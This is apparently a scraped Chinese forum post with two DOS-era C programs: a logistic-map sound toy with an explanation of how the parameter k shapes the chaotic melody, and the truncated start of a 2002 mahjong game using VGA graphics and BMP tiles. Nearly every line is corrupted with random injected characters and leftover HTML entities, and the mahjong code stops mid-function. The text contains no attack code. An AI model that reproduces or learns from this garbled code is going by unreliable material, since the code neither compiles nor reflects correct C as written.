  #include <STDIO.H>. j, z4 ~9 c4 _
  main(){$ G5 }% }% g3 G1 z" H: g$ t( u: x0 I
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
# q; |1 @% u' m" \  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
. J# M& V: K) z7 ^) k' R) o  /*i,j用于循环记数*/* N8 t' x  a& [. W, h
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
6 L& o/ [* o% b5 D  fDis=fMax-fMin;
5 u. [0 D. G" ?3 T  p2 N! Q4 f  for(j=1;;j++){
  w7 ~! O/ c! }5 w+ `9 u) D9 b  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
. B; i2 z, }5 [9 h  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
( l; w6 \0 k( x1 K# m) G2 w  scanf("%f",&k);
0 r! e- X9 T3 B' I  if (k==0) break;  k' l/ n) X  f/ d" M
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
$ }6 ]" ^: |8 H$ D9 N/ h$ T0 ]  x=k*x*(1-x);
' [7 b( {! v3 u  for (i=1;i&lt;100;i++){
% l# b& T% c: k0 M  x=k*x*(1-x); /*计算x的值*/2 a0 }" H' R3 t( N
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
* f( {  |" h# m  delay(1000); }
& _. t: u1 M' @; j  nosound(); }}
) m& V* X9 A( v  y+ O  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
; o/ k* o- d7 t4 C* h% o不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
5 r$ o9 X# a: T  [0 o% Z9 E/*天宇软件4 U( y" l, Z$ [
作者:上海黑暗之龙% g$ N8 q4 x7 T7 F6 _- L" q
2002/10/30
( X1 k6 d. |- }9 @麻将原代码*/
- J8 O# N, N; ~7 p) {#include "dos.h"
5 ^, O% k; O; U/ q* y. ~#include "stdio.h"
% Z' n' C, g7 m$ Q2 R; `5 o7 p) _/ I#include "graphics.h"7 F5 J/ ?' Q( D
#include "bios.h"; _/ _; D4 @6 t7 `5 u
#include "conio.h"  G- k) @. e* @7 J. C
#include "stdlib.h"
/ i4 Q$ \0 a% c) z# R* M* Q  @9 Cunsigned char far *video_buffer=(char far *)0xA0000000L;
' s$ h0 C/ G# g( I* J" O( u5 @#define VGA256 0x13 /*图形模式13h*/- z/ l2 y) o7 K( _
#define TEXT_MODE 0x03 /*普通文本模式*/
; ~* J3 c: p! @$ U1 }#define SETVGA Set_Video_Mode(VGA256)
- ^1 a! g4 v3 D% @#define OUTVGA Set_Video_Mode(TEXT_MODE)
: q1 j# i8 R6 f8 B( h+ C* B2 u( f6 |#define BYTE unsigned char
3 G" `1 l" Q; H1 {( f#define WORD unsigned int
8 @7 }7 O; X  [0 M* J#define DWORD unsigned int4 ?5 `, J, J4 Y, X3 Y; J
#define ESC 2833 n2 F& h. R) m5 i( J  E- \' u2 G
#define LEFT 19200% \' @7 x( o5 _
#define RIGHT 19712& V1 k2 q+ R3 F8 p
#define H 9064
" c9 z7 [- J+ n- N+ C#define ENTER 7181
( {* w8 d4 |: C# Cunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
3 E/ _/ W3 Z% W' ]+ |8 `, b& D6 s9 i7 rint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;7 T* y- A2 _. s8 Q
struct chi
3 d5 q1 p/ N* O: [; X{
6 ~9 K" C8 |% ?2 w* jint lg;
9 j- A& a1 P# e9 p( d' ^3 aint lgg;
$ z  x& Q% R; U* Y4 F: w/ t}ch[13];
) h* `. p) t, K# Q1 s' ^/ W0 ?* ]struct mj
  y& c# d  _8 x0 o. g) m! D{ char *name; /*名字*/
" S1 _* e6 p4 G+ ]9 F* iint data1; /*是否已出,无用了*/( _* E6 _) K9 o: ^: ~: |7 b4 r
int data2; /*是否在手中,1为自己,2为对方*/
. A. I( J- b4 oint number; /*同一个花色的第几张,共4张*/
- l5 [( ]% X1 N+ {}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,) Z- i; x3 l! v$ \  L
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,5 `, O! \& R$ q' X+ e$ F
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
  s( L  ^7 ~; j' \"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,) H* P/ ?! M5 t5 b- I
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,$ v+ [0 r5 ]% z! y
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
8 X# K5 l2 y' Y7 O+ g* y"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
- u& f6 A$ A- z"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
  F# }; f: y3 a( Y) ~. a! r"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,% \+ u3 p4 k# k
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
, g/ ^: t. y) \6 y/ O7 r7 e( @" J: ?"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
4 C  c- c- Z4 d: Q, K"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
# H2 i% X' b. Z"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
0 h. S8 y' P% |! L) A4 |1 H, V"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
2 j8 r" @% {! ^- x2 ~3 r6 J- L- C4 {"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
' Y3 U1 g: P; A4 X( ^3 ]9 V/ J"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
- w2 t' o7 z, h0 F$ g* v"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
7 y$ j. j  P9 B, a/ w& X$ v& o6 n' I"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,* _' Y# N* A6 V* p
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
  Y( m8 [' e* w+ ~( }"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
; `5 x7 r' Z+ N# B- Y"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,, M8 s7 n" K- `9 D' l" g
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
. I4 |5 \. U0 g$ M, R' o"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,! V' e0 c- ~0 }) V- r
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,8 O- Z7 p+ p! R# k/ i' g
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
! ~+ P2 F* W- ]0 `"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,1 e' t% A5 V" Z
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,  y9 M+ O  r9 ?( k0 m
"34.bmp"};
  K, O) @2 V' b  l8 g. {: m0 Sstruct every' {6 I  W+ A- `8 E2 m- Z
{ int *k; /*名字*/
, C1 R7 `" K) @# S" rint oneorfour; /*同一张牌的第几张*/" t- C0 u$ n( h, k# X( W
int number; /*第几张牌136*/
, J, E) @2 c/ Vint p;# b+ {# u3 g/ c, K8 m
int g;, w. ?% x% f/ f6 |
int c;
8 h5 a+ y+ L% x2 hint d[2];
- w" V' Z8 J* N2 G: F8 A8 i};% r' E2 J; L% ^
struct me
, P' |& M" H8 i+ i" \& W$ ]3 [' E3 ]{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
, d; F+ }! Z( z6 U* ?5 m- Sint p; /*乓对方*/
" @# |1 C5 S1 I8 c) l% Oint c; /*吃对方*/9 S2 o4 Y) i# _; g
int g; /*杠*/  `$ ~  T6 [# |

' _( U; W" i8 Nstruct every pp[14]; /*存放手上的牌*/
7 F/ _. c% I- z}me;/ s+ e" g+ F* K7 r: P7 r* W
struct computer
- N' ~4 L$ B+ U3 O( `{ int m;8 S+ ^  l& Y  ^
int p;" L: m+ }( R2 F2 r* G! ~! ~
int c;
+ t6 @/ G' z# i- g. Wint g;0 T6 p6 `% _, o) K! g
struct every pp[14];7 _7 ?' M- v: B! }0 U; u
}computer,comp;+ }# r. ^* w2 {; i
; i6 j9 r4 H- S' D7 h
/* 设置调色板 */
1 e2 t# p: I# ]& t3 |: Zvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b), N( h$ p3 x0 y* M4 K- d3 W
{/ G3 B$ D$ Q  G+ K1 F) }
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/- A. W- F) ]# Y1 a2 _6 _
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/0 q) }! w; q; d" c
outportb(0x3c9,g);
% [) x- ^5 m: P- I# Xoutportb(0x3c9,b);
; t- G( y. ?  Z. S6 l6 V}
3 }; C; d. Z/ g; ], R" Z7 L/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/8 {! |8 ~/ A9 k& R. B, I7 U
/* 设置显示模式的函数 */
! _% D+ {) ~, i9 L+ k" Lvoid Set_Video_Mode(int mode)& L- u" Q. D3 ]5 \5 H5 t% ^) }
{
) v* J+ i+ K) ]: T0 l( {( W- [union REGS inregs,outregs; /*定义输入和返回寄存器*/
( b( q3 d3 ^9 T8 M1 Tinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
" J( K/ l. t, `inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/! O7 m1 Y/ X8 r! l
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
. ^6 @! E8 j+ }; t3 J}
; m" [: g8 p% P/ Jvoid v_line(int y0,int y1,int x,unsigned int color)# T' H9 ^/ r! U" C5 ]* K% Q
{ unsigned int address,n,temp;
. U. ?" @( O% K- {4 Uif(y0&gt;y1)
, {/ x3 ]) l9 d, M: N  S  p; ]{, v5 a8 l% q* h6 T4 n1 Z( o
temp=y1;
9 Y2 H1 T2 m7 r) `3 G5 `% A9 G; Py1=y0;
9 z9 }4 f4 d0 m4 {. a* ky0=temp;. Q% `: p' u1 n1 C9 q
}8 @) g" y- p# G/ J9 d- a+ v- \  D
address=320*y0+x;5 A3 u/ l" X1 S  a
for(n=0;n&lt;=y1-y0;n++)% \4 \1 m* D; |; f& |' f: j
{
7 A% M3 p) h+ u( [; tvideo_buffer[address]=color;1 s" j8 ?6 D' P7 A
address+=320;
0 W$ f5 D# C2 T; G}
( A" L/ C+ [% f; y8 J6 X4 |; W- p1 `}
$ a" O! g6 u6 n& C8 q( `  Y- ]5 C( yvoid h_line(int x0,int x1,int y,unsigned int color)
, e7 ]' x( b/ z; K. D{ unsigned int address,n,temp;
/ P5 e# \) y7 u- Fif(x0&gt;x1)+ {0 ?  U( z5 R9 S$ c
{' y# n1 d8 \; P  l/ M
temp=x1;
0 D7 H: j1 s6 e$ ~x1=x0;
0 z0 G, {( {" ^4 zx0=temp;
( ~- y+ F# @8 W# ?! C% K- h}
- O# x: I) y# Z8 Uaddress=320*y+x0;( ]1 w7 b1 {, p9 E6 p0 ?/ R$ n
for(n=0;n&lt;=x1-x0;n++)
; K3 W  t. ?9 R: `) H' C( M7 ?{
7 }( r4 n) i- {5 o. A! N& D6 Uvideo_buffer[address]=color;
5 A2 Z' u5 e3 w% X) J7 N$ Naddress+=1;
9 h9 M5 s  j; G1 l# ]) ?6 D}! y3 z8 y- Y% ]7 x4 N9 _
}
9 ^7 {" b6 s" B1 Y6 S) xvoid p_pixel(int x,int y,unsigned int color)
% Y  `, W  d) Y9 f/ p" x# n{ video_buffer[y*320+x]=color;
- m5 Z9 n8 t; e  o9 y0 l7 U}
. }8 p& U+ g) a+ Dvoid s_square(int x,int y,int side,int color)& [& W9 x  J2 n4 |" Y" ^7 D" u* i
{/ z4 I' k9 S- B$ `! Y- O+ \
h_line(x,x+side,y,color);( |& A2 w; A" e" Q1 H1 {- n
h_line(x,x+side,y+side,color);
8 v  \4 B% \$ rv_line(y,y+side,x,color);* y' Z# V! m) @& Y) c" A2 c. c- V
v_line(y,y+side,x+side,color);8 u6 j# P* ^* \; k+ i9 a
}% Y& q" ^  b: _: L9 F5 ~& s7 z8 e
void r_rectangle(int x1,int y1,int x2,int y2,int color)8 v$ I: y7 `7 h5 ~% n+ X
{
9 h/ C7 n0 u* H- z2 Hh_line(x1,x2,y1,color);
9 W+ ]8 P: X5 A' ch_line(x1,x2,y2,color);6 X2 z5 I+ i0 [
v_line(y1,y2,x1,color);
' B4 d- W1 L7 h& ?v_line(y1,y2,x2,color);4 J+ ~6 F5 s* m% r
}( S) z6 @1 g- J
void fillRectangle(int x1,int y1,int x2,int y2,int color)
! I# N! F+ M1 }$ w* I  i# n4 A4 v{
* h. _7 {7 Q+ T* l# tint i;
9 `  X9 f/ U4 q% _- T9 Zfor(i=y1;i&lt;=y2;i++)$ x) y% r9 b( \
{
) T! f$ p9 H$ Q, j( ]; mh_line(x1,x2,i,color);
9 ^1 b- g/ l. @* Z( u}3 r- n: U5 E6 W2 L" d8 ]( x" A, F/ {
}4 J; D/ I' n% x8 r! L* H
void showbmp(int l)
8 c9 U6 [+ s4 t: Z{ FILE *bmp;" ], [# }! I7 M6 X" Q
int i,x,y;4 x$ _! G; T8 B* e; Z$ f( x2 r* e
BYTE palette[256][3];! Y) S6 w3 r/ M0 b0 A
bmp=fopen(me.pp[l].k,"rb");! a# m" H( C7 C0 k- g/ y, i
fseek(bmp,54,SEEK_SET);; |1 ^, \. b6 ~# X; N% e/ B
for(i=0;i&lt;256;i++)8 `& K& a" n& l1 K# \
{
2 E& j( ?0 i9 O# Fpalette[2]=fgetc(bmp)&gt;&gt;2;. `$ Q' y3 M5 p6 U+ O8 S' e
palette[1]=fgetc(bmp)&gt;&gt;2;
& z9 K3 E' e* h# x+ @0 z) D8 ]- fpalette[0]=fgetc(bmp)&gt;&gt;2;
) |5 D" V+ y/ e9 Pfgetc(bmp);+ j% }: s4 D2 Q. C
Set_Palette(i,palette[0],palette[1],palette[2]);- y4 W0 ^2 h8 @0 j% ^; S- ]/ D
}
0 k! w3 d3 \+ T' `/ Xfor (y=0;y&lt;30;y++)) l. @8 W8 d- t- U8 N3 o: ?
for(x=0;x&lt;20;x++)
* L. ~$ o. L( e5 L" ypokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));0 j' l: s2 P! I: h
fclose(bmp);- K2 a6 c) P& q! Q4 B
}
5 ^) v  {' W% r1 X' v. \/ Nvoid showbmpd(int l)
4 |! D- E, o) E/ g6 j) k{ FILE *bmp;
. X, k4 U& {4 w; J" R' aint i,x,y;. R( J+ u) T: i! X- V9 D& N
BYTE palette[256][3];
$ h2 A4 h+ B- W& ~1 L8 d, Qbmp=fopen(me.pp[l].k,"rb");  _% U3 o" \( @, C' w
fseek(bmp,54,SEEK_SET);
# \% ^3 s. ]7 U. Dfor(i=0;i&lt;256;i++)
8 S, K- n% X) X# Z, R5 Y) C( o( X{# X2 V4 |& F9 f: V5 T. Z% b
palette[2]=fgetc(bmp)&gt;&gt;2;& }+ s* a0 @/ ^! u4 j* S
palette[1]=fgetc(bmp)&gt;&gt;2;
: R! E' w8 B3 H9 s4 D5 Opalette[0]=fgetc(bmp)&gt;&gt;2;: j  h% z$ x0 {4 O
fgetc(bmp);
8 |/ u) B3 y3 a" w( w4 N( y& \  zSet_Palette(i,palette[0],palette[1],palette[2]);& r2 {+ p, W0 c
}' A+ F3 @" W: ~* k+ Y
for (y=0;y&lt;30;y++)
, E7 L' n. j' g  [for(x=0;x&lt;20;x++)+ _/ G: a) t" D7 X# |' i: q, a
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));0 r0 p* M; ]/ n. z2 m7 `+ Y
fclose(bmp);
: o; F7 N+ r" j2 T5 h. P; d}
# g0 [9 l+ j$ H; |void showybmp(int ll)1 f( ~. E, b9 j. G; l2 y8 f" x; ]
{ FILE *bmp;. w& w; p! T( `
int i,x,y;. a$ E( `1 X: l! t0 [+ x
BYTE palette[256][3];& b8 Q* o! S) A- F/ l
bmp=fopen(computer.pp[ll].k,"rb");
1 e$ w* W% Q' h" z( x+ vfseek(bmp,54,SEEK_SET);' q0 R% Z4 W: F9 e1 [& N' T4 [. m$ f
for(i=0;i&lt;256;i++)* P) {1 I* q0 J: W* q& W. e
{
; @  ]( N; ^/ I6 O7 X6 q, Ipalette[2]=fgetc(bmp)&gt;&gt;2;" B2 m8 O, o6 t8 e9 ~% o/ k
palette[1]=fgetc(bmp)&gt;&gt;2;
! d, r$ x, l  }* M: x: Z. dpalette[0]=fgetc(bmp)&gt;&gt;2;
( G, b% ^, U: K! x+ M' J  afgetc(bmp);
- Y* D! h" N+ T5 B% m* \0 C# m4 nSet_Palette(i,palette[0],palette[1],palette[2]);
: W. D# E1 {% w: k6 L}
$ K) c- {; Y0 _: g- ifor (y=0;y&lt;30;y++)& ?- Y7 N( n+ R5 y3 V
for(x=0;x&lt;20;x++)6 Z- h0 I$ ^3 Q, E
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
2 o: H9 S6 j: _. G! R( b$ z  wfclose(bmp);
: E# h' a1 Q& y. e  l5 u8 \! s) w}0 p! Y. X( e0 V1 p$ [
void showcbmp(int ll)
1 _1 C1 p0 F/ r{ FILE *bmp;9 R* A  c3 C5 x) b0 x0 s
int i,x,y;3 S; u3 F" Y; B7 ]8 \
BYTE palette[256][3];3 q' {; w3 }: j5 b3 H8 ]
bmp=fopen(computer.pp[ll].k,"rb");5 G- O9 T+ b0 E# q1 H7 O
fseek(bmp,54,SEEK_SET);8 R! o8 U/ n, M. J+ D/ j
for(i=0;i&lt;256;i++)
6 z9 P( W1 t% L  v7 \4 x0 Z{
3 H. s* T$ D6 g/ i& Ipalette[2]=fgetc(bmp)&gt;&gt;2;) \$ V. w7 L! ~# ^9 q- e' F% y7 X: ^% |
palette[1]=fgetc(bmp)&gt;&gt;2;
. t" Z4 e& F8 `5 c2 ]: xpalette[0]=fgetc(bmp)&gt;&gt;2;
# U* H& W5 P+ Nfgetc(bmp);, c5 V6 q/ W/ }4 M& M- t0 A+ Q% ?
Set_Palette(i,palette[0],palette[1],palette[2]);
7 X7 Z. x* ^5 `3 Z; J/ ^}8 O$ j0 r) K6 n9 U
for (y=0;y&lt;30;y++)/ t: r8 ^8 \; o& C6 z3 r' P9 f' O" ]
for(x=0;x&lt;20;x++)7 T2 j8 K4 n9 S0 j$ w
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));4 p: T. |0 K6 g/ D1 C4 _3 \2 Y
fclose(bmp);
* `$ Z+ m, v6 k1 W3 L& e4 d9 O}
, R; D$ r! q# fvoid bmpp(int number)' v6 z& s, B6 [# o
{ FILE *bmp;
) y/ j# H+ ]. Rint i,x,y;' `, K5 p% b+ F% g$ [+ o
BYTE palette[256][3];
. m2 V- Z8 e, abmp=fopen(m[number].name,"rb");! J1 v6 u4 e* t) h+ \( u
fseek(bmp,54,SEEK_SET);2 ?' b+ _, R7 q$ y* I9 p- ~- m- c
for(i=0;i&lt;256;i++)
& a) b0 n$ ]7 k/ C{6 A$ P9 |( v! T
palette[2]=fgetc(bmp)&gt;&gt;2;
  ^5 ~+ R6 q' R9 ^palette[1]=fgetc(bmp)&gt;&gt;2;; }% y0 r8 h+ r5 D! n$ H; j( ~; g
palette[0]=fgetc(bmp)&gt;&gt;2;
& m- \  o) ^5 E+ n, \( Bfgetc(bmp);9 w. R, X2 \0 I$ ~  c. z% Z
Set_Palette(i,palette[0],palette[1],palette[2]);
/ W# E7 I8 C2 v( ^5 {* w: y}
. N0 f2 w" w, Q2 W; sfor (y=0;y&lt;30;y++)
5 O8 K8 T  U6 t, x0 bfor(x=0;x&lt;20;x++)
* ^, s( P  p9 x9 epokeb(0xa000,y*320+x+zl,fgetc(bmp));7 S+ ?  {' j* X- t
fclose(bmp);
# v. v+ K# W2 l" e* g8 `8 L. ~}; Y. U8 j" Z% Z, s. @% I
void comlipai() /*整理电脑的牌*/
+ ~) x& H8 F6 ?. S1 w- ?{ int n,j,u;9 f$ s+ a6 b& ~! @- c' m
int *lingshi;
; Y9 x! B7 J7 |5 m+ vfor(n=0;n&lt;computer.m;n++)# g# \# M5 n  h2 Q2 A2 o: k6 J
for(j=n;j&lt;computer.m;j++)
/ h3 }& }5 N- c' }{
+ w  ]1 V/ m, Y- U* F0 H4 l' ^if(computer.pp[n].number&gt;computer.pp[j+1].number)
8 H0 P$ B% F: d  ~8 J{) i- x6 p1 D4 I- U; s
lingshi=computer.pp[n].k;
: }5 w0 A. m  q/ Gcomputer.pp[n].k=computer.pp[j+1].k;" y8 N7 o& E4 G, U. }
computer.pp[j+1].k=lingshi;" A6 D, L3 K$ H  p' F( L5 h; r
u=computer.pp[n].oneorfour;
0 Q, T- i/ c+ l+ b  Vcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
# o/ p% o3 L4 n% i3 fcomputer.pp[j+1].oneorfour=u;
& f8 f2 n; s. n* u7 Y5 ku=computer.pp[n].number;  M: `) ]: J* d5 R1 k, ^+ y0 V
computer.pp[n].number=computer.pp[j+1].number;% @0 K0 J) e8 v8 Q, i
computer.pp[j+1].number=u;
+ x7 N; C0 @' S# [/ B& B}
. Q. ]% |5 S9 v4 [5 Delse9 Z3 }1 O; c8 i4 e- n
if(computer.pp[n].number==computer.pp[j+1].number)
* t( X% y# k1 N: a$ \if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
! i0 c9 |* P( \' k/ v9 i{
' {* @' ]$ u( _1 m7 Z! Klingshi=computer.pp[n].k;5 o# H: M# |4 [3 q* w
computer.pp[n].k=computer.pp[j+1].k;' q- M2 ?" D# ~& U
computer.pp[j+1].k=lingshi;
6 [! s$ V8 M+ S# C  vu=computer.pp[n].oneorfour;1 m1 _  Q" G  \1 o4 j
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;1 @  G/ P7 ]0 d+ a% V( m. b
computer.pp[j+1].oneorfour=u;! h1 v  C& O& _5 x& W% M
u=computer.pp[n].number;+ ~) f& P$ W7 A/ T/ K
computer.pp[n].number=computer.pp[j+1].number;/ k5 t* y3 A* q# T1 T, E# k
computer.pp[j+1].number=u;
- [- E- ]& R2 k% b8 y. @( j* t8 y}$ X- x9 b4 r$ g# ^
}" k/ Y6 r. l9 G; B: Y0 [: }+ ?
}
6 c  ~; U2 p/ T% P% p; |void melipai()7 O7 l$ c& v" F  I
{ int n,j,u;0 F6 Z9 d4 e  q8 t* t
int *lingshi;8 H  W% j& r# C/ S
for(n=0;n&lt;me.m;n++)
# w! @8 w# O7 ]+ a! I( p3 Z- Sfor(j=n;j&lt;me.m;j++)$ W" @* U8 C( _" }* B6 x4 C
{
4 u0 [( }% s1 Q8 ^5 k0 i, P& @; \if(me.pp[n].number&gt;me.pp[j+1].number): M$ H; Q4 \* J6 [: I5 C
{+ z$ c$ R5 t# A; P
lingshi=me.pp[n].k;8 I2 @: L! O4 w- a! C8 B+ X) h
me.pp[n].k=me.pp[j+1].k;
0 l6 }; S2 W, P$ Hme.pp[j+1].k=lingshi;
* L: \$ e- C- [* x% o. M, Ku=me.pp[n].oneorfour;
( }& Q9 U* a. k5 D, ]me.pp[n].oneorfour=me.pp[j+1].oneorfour;$ r. u9 d% |8 q: b  W
me.pp[j+1].oneorfour=u;
  ^3 {2 l. Z, @/ ^. Uu=me.pp[n].number;
. k9 |5 c7 Q7 Y) x  wme.pp[n].number=me.pp[j+1].number;4 o7 G# M, e& q( Y# A7 X
me.pp[j+1].number=u;
, v8 J. i: r( b3 ?# G9 f}
5 z7 R! u8 H9 d7 |else
2 H' \6 S. |7 {2 m, iif(me.pp[n].number==me.pp[j+1].number)
4 M% H- x( A8 }: m0 c$ Qif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour): m" z, O; E0 ]' }  ~! m
{( T2 T3 c) f: u7 r: k$ u
lingshi=me.pp[n].k;0 j; i! r/ [1 z- _! R9 T
me.pp[n].k=me.pp[j+1].k;' ?9 X; V+ J3 g5 @
me.pp[j+1].k=lingshi;  r, Z, Y: u; _1 b# n
u=me.pp[n].oneorfour;9 b0 @- b  U$ s! b1 y' v. a; v6 W) ?
me.pp[n].oneorfour=me.pp[j+1].oneorfour;4 Y, o' T* s% h/ o$ p* K2 j. ?" p6 S
me.pp[j+1].oneorfour=u;0 i6 E$ d" g  R
u=me.pp[n].number;* }  l5 v5 f, {+ ?* k/ K# Y
me.pp[n].number=me.pp[j+1].number;5 J2 V; b  W0 R% ], u* S, N
me.pp[j+1].number=u;
3 M# v3 _. g4 O5 @}
: s0 p3 T8 [/ _: Y0 Z) @}
" a! i5 `/ Z- N4 K2 R5 |" _$ Z3 q  Q* F}
. z! w2 S" c; Q! f3 kvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
' ]6 q& J5 w' U% l- |{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
1 V- C- i7 i/ ?6 Hif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
3 B6 `9 Q6 H, e0 E1 ^0 r{1 G7 j7 n) ?# \" L9 p) o. h' q
logo=1;
* s/ c' d( W! n0 z' D0 q) Rif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)/ b5 x  v8 C8 L7 I% a/ ]8 }3 I
logoo=1;
' _- q4 P. s$ S2 F1 c$ w" gelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
' R! c1 p6 }. Z( e; }! ologoo=2;
/ i# G) }5 K9 E. [  \else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)& B  c! W. C  b8 Z4 u6 n+ c
logoo=3;
8 B. E0 H: B9 V+ I. ~- S& n/ ?% \else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)2 U- [' u6 f* }; a# @" Q
logoo=4;
$ c' Y2 J5 @0 I# [else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
$ K$ a; Z4 W$ B. l+ Xlogoo=5;& ~' [7 v. ?3 j' H$ W. @5 j, }
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
/ u# Z0 P  \6 E; T. J. ^+ P/ mlogoo=6;
4 T9 {) s& X2 R( R# relse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
- s; g) M/ B! |- \! s# Hlogoo=7;
/ I+ N$ k$ _  J; q5 h0 a* }7 g* relse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)& l1 `+ W7 R  C% m3 X8 P
logoo=8;& V) q3 b( [6 Q6 S5 _
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
. q. H3 o' ?' S7 D  blogoo=9;' E% s% u( P; b/ f+ a
}0 R% ]% r2 ^4 J7 x1 G2 I
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
  S) s) }' a. Y, w- |{
' J* P1 L% K) C+ ]logo=2;
$ O" A2 [- {& ]$ mif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)5 [8 G4 U4 `  Y2 k
logoo=1;/ Y) A; [4 m& }) x) y
